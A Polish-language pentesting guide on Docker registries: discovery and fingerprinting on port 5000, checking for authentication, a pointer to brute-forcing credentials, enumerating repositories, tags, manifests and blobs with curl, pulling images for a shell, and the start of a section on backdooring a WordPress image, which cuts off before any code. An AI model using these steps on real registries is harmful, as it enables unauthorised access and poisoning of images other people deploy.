System przechowywania i dystrybucji znany jako Docker registry jest używany do obrazów Docker, które są nazwane i mogą występować w wielu wersjach, rozróżnianych przez tagi. Te obrazy są zorganizowane w Docker repositories w rejestrze, a każde repozytorium przechowuje różne wersje konkretnego obrazu. Funkcjonalność zapewnia możliwość pobierania obrazów lokalnie lub przesyłania ich do rejestru, zakładając, że użytkownik ma odpowiednie uprawnienia.
DockerHub służy jako domyślny publiczny rejestr dla Dockera, ale użytkownicy mają również możliwość uruchomienia lokalnej wersji otwartego rejestru dystrybucji Docker lub wyboru komercyjnie wspieranego Docker Trusted Registry. Dodatkowo, w Internecie można znaleźć różne inne publiczne rejestry.
Aby pobrać obraz z lokalnego rejestru, używa się następującego polecenia:
dockerpullmy-registry:9000/foo/bar:2.1
To polecenie pobiera obraz foo/bar w wersji 2.1 z lokalnego rejestru na domenie my-registry na porcie 9000. Z drugiej strony, aby pobrać ten sam obraz z DockerHub, szczególnie jeśli 2.1 jest najnowszą wersją, polecenie upraszcza się do:
dockerpullfoo/bar
Domyślny port: 5000
PORT STATE SERVICE VERSION
5000/tcp open http Docker Registry (API: 2.0)
Odkrywanie
Najłatwiejszym sposobem na odkrycie tej usługi działającej jest uzyskanie jej w wyniku nmap. W każdym razie, pamiętaj, że jako usługa oparta na HTTP może być za proxy HTTP i nmap jej nie wykryje.
Niektóre odciski palców:
Jeśli uzyskasz dostęp do / nic nie zostanie zwrócone w odpowiedzi
Jeśli uzyskasz dostęp do /v2/ wtedy zwrócone zostanie {}
Jeśli uzyskasz dostęp do /v2/_catalog możesz uzyskać:
Docker registry może być skonfigurowany do używania HTTP lub HTTPS. Więc pierwszą rzeczą, którą musisz zrobić, to znaleźć, który z nich jest skonfigurowany:
Docker registry może być również skonfigurowany tak, aby wymagał uwierzytelnienia:
curl-khttps://192.25.197.3:5000/v2/_catalog#If Authentication required{"errors":[{"code":"UNAUTHORIZED","message":"authentication required","detail":[{"Type":"registry","Class":"","Name":"catalog","Action":"*"}]}]}
#If no authentication required{"repositories":["alpine","ubuntu"]}
Jeśli Docker Registry wymaga uwierzytelnienia, możeszspróbować przeprowadzić atak brute force używając tego.
Jeśli znajdziesz ważne dane uwierzytelniające, będziesz musiał ich użyć do enumeracji rejestru, w curl możesz użyć ich w ten sposób:
Gdy uzyskasz dostęp do rejestru docker, oto kilka poleceń, których możesz użyć do jego enumeracji:
#List repositoriescurl-shttp://10.10.10.10:5000/v2/_catalog{"repositories":["alpine","ubuntu"]}#Get tags of a repositorycurl-shttp://192.251.36.3:5000/v2/ubuntu/tags/list{"name":"ubuntu","tags":["14.04","12.04","18.04","16.04"]}#Get manifestscurl-shttp://192.251.36.3:5000/v2/ubuntu/manifests/latest{"schemaVersion":1,"name":"ubuntu","tag":"latest","architecture":"amd64","fsLayers": [{"blobSum":"sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935"},{"blobSum":"sha256:a3ed95caeb02ffe68cdd9fd84406680ae93d633cb16422d00e8a7c22955b46d4"},{"blobSum":"sha256:e7c96db7181be991f19a9fb6975cdbbd73c65f4a2681348e63a141a2192a5f10"}],"history": [{"v1Compatibility": "{\"architecture\":\"amd64\",\"config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"container_config\":{\"Hostname\":\"\",\"Domainname\":\"\",\"User\":\"\",\"AttachStdin\":false,\"AttachStdout\":false,\"AttachStderr\":false,\"Tty\":false,\"OpenStdin\":false,\"StdinOnce\":false,\"Env\":[\"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin\"],\"Cmd\":[\"/bin/sh\",\"-c\",\"#(nop) COPY file:96c69e5db7e6d87db2a51d3894183e9e305a144c73659d5578d300bd2175b5d6 in /etc/network/if-post-up.d \"],\"ArgsEscaped\":true,\"Image\":\"sha256:055936d3920576da37aa9bc460d70c5f212028bda1c08c0879aedf03d7a66ea1\",\"Volumes\":null,\"WorkingDir\":\"\",\"Entrypoint\":null,\"OnBuild\":null,\"Labels\":null},\"created\":\"2019-05-13T14:06:51.794876531Z\",\"docker_version\":\"18.09.4\",\"id\":\"911999e848d2c283cbda4cd57306966b44a05f3f184ae24b4c576e0f2dfb64d0\",\"os\":\"linux\",\"parent\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\"}"
},{"v1Compatibility": "{\"id\":\"ebc21e1720595259c8ce23ec8af55eddd867a57aa732846c249ca59402072d7a\",\"parent\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.510395965Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) CMD [\\\"/bin/sh\\\"]\"]},\"throwaway\":true}"
},{"v1Compatibility": "{\"id\":\"7869895562ab7b1da94e0293c72d05b096f402beb83c4b15b8887d71d00edb87\",\"created\":\"2019-05-11T00:07:03.358250803Z\",\"container_config\":{\"Cmd\":[\"/bin/sh -c #(nop) ADD file:a86aea1f3a7d68f6ae03397b99ea77f2e9ee901c5c59e59f76f93adbb4035913 in / \"]}}"
}],"signatures": [{"header":{"jwk":{"crv":"P-256","kid":"DJNH:N6JL:4VOW:OTHI:BSXU:TZG5:6VPC:D6BP:6BPR:ULO5:Z4N4:7WBX","kty":"EC","x":"leyzOyk4EbEWDY0ZVDoU8_iQvDcv4hrCA0kXLVSpCmg","y":"Aq5Qcnrd-6RO7VhUS2KPpftoyjjBWVoVUiaPluXq4Fg"},"alg":"ES256"},"signature":"GIUf4lXGzdFk3aF6f7IVpF551UUqGaSsvylDqdeklkUpw_wFhB_-FVfshodDzWlEM8KI-00aKky_FJez9iWL0Q","protected":"eyJmb3JtYXRMZW5ndGgiOjI1NjQsImZvcm1hdFRhaWwiOiJDbjAiLCJ0aW1lIjoiMjAyMS0wMS0wMVQyMDoxMTowNFoifQ"}]}#Download one of the previously listed blobscurl http://10.10.10.10:5000/v2/ubuntu/blobs/sha256:2a62ecb2a3e5bcdbac8b6edc58fae093a39381e05d08ca75ed27cae94125f935 --output blob1.tar
#Inspect the insides of each blobtar-xfblob1.tar#After this,inspect the new folders and files created in the current directory
Zauważ, że gdy pobierasz i dekompresujesz pliki i foldery blob, pojawią się one w bieżącym katalogu. Jeśli pobierzesz wszystkie bloby i dekompresujesz je w tym samym folderze, nadpiszą one wartości z wcześniej dekompresowanych blobów, więc bądź ostrożny. Może być interesujące, aby dekompresować każdy blob w osobnym folderze, aby zbadać dokładną zawartość każdego bloba.
Enumeracja za pomocą dockera
#Once you know which images the server is saving (/v2/_catalog) you can pull themdockerpull10.10.10.10:5000/ubuntu#Check the commands used to create the layers of the imagedockerhistory10.10.10.10:5000/ubuntu#IMAGE CREATED CREATED BY SIZE COMMENT#ed05bef01522 2 years ago ./run.sh 46.8MB#<missing> 2 years ago /bin/sh -c #(nop) CMD ["./run.sh"] 0B#<missing> 2 years ago /bin/sh -c #(nop) EXPOSE 80 0B#<missing> 2 years ago /bin/sh -c cp $base/mysql-setup.sh / 499B#<missing> 2 years ago /bin/sh -c #(nop) COPY dir:0b657699b1833fd59… 16.2MB#Run and get a shelldockerrun-it10.10.10.10:5000/ubuntubash#Leave this shell runningdockerps#Using a different shelldockerexec-it7d3a81fe42d7bash#Get ash shell inside docker container
Backdooring WordPress image
W scenariuszu, w którym znalazłeś Docker Registry zapisujący obraz wordpress, możesz go zainfekować.
Utwórztylną furtkę: